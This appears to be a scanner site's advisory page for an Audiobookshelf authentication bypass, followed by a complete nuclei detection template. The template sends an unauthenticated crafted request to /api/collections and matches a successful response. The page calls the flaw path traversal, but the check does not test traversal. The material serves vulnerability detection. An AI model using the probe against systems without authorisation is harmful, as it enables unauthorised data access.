Audiobookshelf - Authentication Bypass

criticalseverity

7.5CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.

Impact

Unauthenticated attackers can read arbitrary files accessible by the service account, leading to sensitive information disclosure.

Fix

Update to the latest version with proper decoding and authentication checks for path parameters.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_any(body, "audiobookshelf", "Audiobookshelf")
Send: GET /api/collections?r=/api/items/1/cover
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "collections")

Run it with nuclei: nuclei -id CVE-2026-71209 -u <target>

The full check

id: CVE-2026-71209

info:
  name: Audiobookshelf - Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.
  impact: |
    Unauthenticated attackers can read arbitrary files accessible by the service account, leading to sensitive information disclosure.
  remediation: |
    Update to the latest version with proper decoding and authentication checks for path parameters.
  reference:
    - https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-71209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-71209
    epss-score: 0.02247
    epss-percentile: 0.83028
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    vendor: audiobookshelf
    product: audiobookshelf
    shodan-query: title:"audiobookshelf"
    fofa-query: title="audiobookshelf"
  tags: cve,cve2026,audiobookshelf,auth-bypass,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "audiobookshelf", "Audiobookshelf")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/collections?r=/api/items/1/cover HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "collections")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from